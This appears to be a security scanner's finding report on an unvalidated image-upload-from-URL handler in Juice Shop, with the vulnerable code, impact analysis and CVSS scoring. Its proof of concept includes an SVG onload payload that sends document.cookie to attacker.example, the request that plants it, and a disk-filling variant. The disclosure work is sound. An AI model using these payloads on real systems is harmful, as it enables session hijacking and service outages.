agentggagentgg
Back to all findings
CRITICALconfirmedfile-upload-validationinsufficient-upload-validationb22d470d28d2

Profile image upload fetches arbitrary URL with no size limit and no content-type validation, SVG allowed under web root

profileImageUrlUpload streams a user-supplied URL to disk under the web-served assets directory with no size cap, no MIME/magic-number check, and an extension allowlist that includes SVG, enabling stored XSS and disk-fill DoS.

Fileroutes/profileImageUrlUpload.ts
Lines1936
Confidence
90%
File statusvalidated
Details

The handler accepts req.body.imageUrl from an authenticated user and pipes the HTTP response body straight to frontend/dist/frontend/assets/public/images/uploads/{userId}.{ext}, which is then served as a public static asset (the stored path is written back to the user's profileImage).

The validation logic is solely:

const ext = ['jpg', 'jpeg', 'png', 'svg', 'gif']
  .includes(url.split('.').slice(-1)[0].toLowerCase())
  ? url.split('.').slice(-1)[0].toLowerCase()
  : 'jpg'
const fileStream = fs.createWriteStream(
  `frontend/dist/frontend/assets/public/images/uploads/${loggedInUser.data.id}.${ext}`,
  { flags: 'w' }
)
await finished(Readable.fromWeb(response.body as any).pipe(fileStream))

Problems against the criteria:

  1. No size limit — fetch() followed by an unbounded stream pipe lets an attacker point imageUrl at a multi-GB resource (or a slowloris/infinite stream) and fill the server's disk or saturate I/O. There is no Content-Length check, no byte counter on the stream, and no abort logic.
  2. No MIME / content-type / magic-number check — only the URL's textual extension is inspected. The remote server can return any bytes regardless of the URL suffix, and the response's Content-Type is never consulted. An attacker hosts evil.svg whose body is <svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://attacker/?c='+document.cookie)"/>; the file is saved as {userId}.svg and served from the same origin as the app, yielding stored XSS that fires when any user (including admins) views the profile image inline.
  3. SVG is in the allowlist at all — SVG is an active-content format and should never be on an image allowlist for a file that will be served from the application origin.
  4. Storage path is under the web root (frontend/dist/frontend/assets/public/images/uploads/), so the resulting file is directly fetchable, and the catch-block fallback (user.update({ profileImage: url })) additionally allows the raw attacker URL to be persisted as the profile image, broadening the XSS surface.

While the filename uses the user's id (so path traversal via the URL's extension is constrained), the lack of any size or content-type validation combined with the SVG allowance is sufficient on its own.

Proof of concept
  1. Register / log in to obtain a session token.
  2. Host the following at https://attacker.example/x.svg:

``xml <svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://attacker.example/?c='+document.cookie)"/> ``

  1. POST to the profile-image endpoint:

``` POST /profile/image/url Cookie: token=<jwt> Content-Type: application/json

{"imageUrl":"https://attacker.example/x.svg"} ```

  1. The server writes the SVG to frontend/dist/frontend/assets/public/images/uploads/<id>.svg and updates profileImage to /assets/public/images/uploads/<id>.svg.
  2. When the victim (or admin) views a page that embeds the profile image inline (or navigates directly to it), the SVG's onload executes in the app's origin, exfiltrating cookies/session.

DoS variant: set imageUrl to a URL returning an unbounded stream (e.g. a multi-GB file) — the handler will write until disk is exhausted because there is no limits.fileSize equivalent on the pipe.

Impact

Any authenticated user can (a) cause stored XSS in the application origin by uploading an SVG with embedded script, hijacking sessions of anyone who views the profile image, and (b) exhaust the server's disk by pointing the handler at an arbitrarily large remote resource. Authentication is required but is open to any registered user.

Validation
confirmed

The handler calls fetch(url) on user-supplied req.body.imageUrl and pipes the response via Readable.fromWeb(response.body).pipe(fileStream) with no byte counter, no Content-Length check, and no Content-Type/magic-byte validation; the extension allowlist ['jpg','jpeg','png','svg','gif'] is derived purely from the URL suffix and includes SVG. The output path frontend/dist/frontend/assets/public/images/uploads/${id}.${ext} lives under the web-served assets directory and is written back to user.profileImage, so an authenticated attacker hosting an SVG containing <svg ... onload="..."> achieves stored XSS in the app origin. The DoS variant (unbounded remote stream filling disk) is also reachable through the same unbounded pipe. Scope explicitly forbids dismissing findings because the target is Juice Shop, so this is a real bug.

CVSS 3.1
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
Base score: 9.0 · CRITICAL

The endpoint is reached over HTTP and is gated by security.authenticatedUsers.get(req.cookies.token), so any logged-in user (PR:L) can trigger it remotely (AV:N) with no special preconditions (AC:L). Because the extension allowlist includes svg and the file is written under frontend/dist/frontend/assets/public/images/uploads/{userId}.svg (same origin as the app) with no MIME/magic-byte check, an attacker stores active script that executes in another user/admin's browser session when they view the image — a Scope-Changed stored XSS (UI:R for the victim load) yielding session theft (C:H) and full action-as-victim (I:H), including takeover of an admin who views the avatar. Separately, the unbounded Readable.fromWeb(response.body).pipe(fileStream) with no Content-Length/byte-cap lets the same authenticated attacker exhaust disk by pointing imageUrl at a multi-GB or infinite stream, justifying A:H.

References